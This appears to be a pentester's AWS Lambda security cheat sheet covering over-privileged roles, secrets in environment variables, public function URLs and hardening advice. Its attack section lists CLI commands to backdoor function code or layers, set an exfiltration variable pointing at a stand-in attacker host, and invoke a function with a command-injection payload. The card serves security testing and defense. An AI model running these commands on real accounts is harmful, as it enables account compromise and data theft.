Lambda provides serverless function execution with execution roles controlling permissions. Over-privileged roles and secrets in environment variables are the primary attack vectors.
Lambda functions run in isolated containers with temporary credentials from the execution role. Environment variables, layers, and event data can all contain sensitive information.
Attack note: Execution roles are often overly permissive with broad S3, DynamoDB, or Secrets Manager access
Functions can be triggered by API Gateway, S3, SQS, EventBridge, and more. Function URLs provide direct HTTP access without API Gateway.
Attack note: Function URLs with NONE auth type are publicly accessible
Lambda functions with over-privileged execution roles can be abused for credential theft and privilege escalation. Secrets in environment variables and code injection via event data are common vulnerabilities.
aws lambda list-functionsaws lambda get-function \
--function-name NAMEaws lambda get-function-configuration \
--function-name NAMEaws lambda list-layersaws lambda get-policy --function-name NAMEKey insight: Lambda execution roles often have access to Secrets Manager, DynamoDB, and S3 with sensitive data.
aws lambda invoke \
--function-name NAME \
--payload '{"cmd":"id"}' output.txtaws lambda update-function-code \
--function-name NAME \
--zip-file fileb://backdoor.zipaws lambda update-function-configuration \
--function-name NAME \
--environment 'Variables={EXFIL=attacker.com}'aws lambda update-function-configuration \
--function-name NAME \
--layers arn:aws:lambda:REGION:ACCOUNT:layer:backdoor:1aws lambda get-function --function-name NAME \
--query 'Code.Location' --output text | xargs curl -o code.zipaws lambda create-event-source-mapping \
--function-name NAME \
--event-source-arn arn:aws:sqs:REGION:ACCOUNT:queue{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}Function has FULL AWS access - complete account compromise
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::my-bucket/input/*"
}, {
"Effect": "Allow",
"Action": ["logs:CreateLogStream", "logs:PutLogEvents"],
"Resource": "arn:aws:logs:*:*:log-group:/aws/lambda/my-func:*"
}]
}Only specific S3 read and CloudWatch Logs access
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "*"
}]
}Can pass any role to any service - privilege escalation
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/APIGatewayRole"},
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:my-func"
}]
}Only specific API Gateway role can invoke the function
Scope permissions to exact resources and actions needed.
"Resource": "arn:aws:s3:::my-bucket/prefix/*"Never store secrets in environment variables.
aws secretsmanager get-secret-value \
--secret-id my-api-keyRequire IAM authentication for function URLs.
--auth-type AWS_IAM (not NONE)Restrict who can invoke the function.
"Principal": {"AWS": "arn:aws:iam::ACCOUNT:role/AllowedRole"}Run functions in private VPC subnets when possible.
--vpc-config SubnetIds=subnet-xxx,\
SecurityGroupIds=sg-xxxOnly allow signed code packages to be deployed.
aws lambda create-code-signing-config \
--allowed-publishers SigningProfileVersionArns=...AWS Lambda Security Card • Toc Consulting
Always obtain proper authorization before testing